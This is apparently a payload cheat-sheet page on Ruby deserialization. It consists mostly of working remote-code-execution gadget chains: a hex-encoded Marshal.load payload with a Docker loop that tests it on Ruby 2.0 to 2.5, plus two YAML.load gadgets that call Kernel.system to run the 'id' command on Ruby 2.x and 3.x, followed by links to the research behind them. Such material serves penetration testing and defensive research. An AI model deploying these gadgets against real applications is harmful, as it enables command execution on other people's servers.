# Ruby Deserialization ## Marshal.load Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 ```ruby for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done ``` ## Yaml.load Vulnerable code ```ruby require "yaml" YAML.load(File.read("p.yml")) ``` Universal gadget for ruby <= 2.7.2: ```ruby --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source::SpecificFile spec: &1 !ruby/object:Gem::StubSpecification loaded_from: "|id 1>&2" - !ruby/object:Gem::Source::SpecificFile spec: ``` Universal gadget for ruby 2.x - 3.x. ```ruby --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve ``` ## References - [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) - [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) - [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) - [Universal RCE with Ruby YAML.load (versions > 2.7) - @_staaldraad](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/) * [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)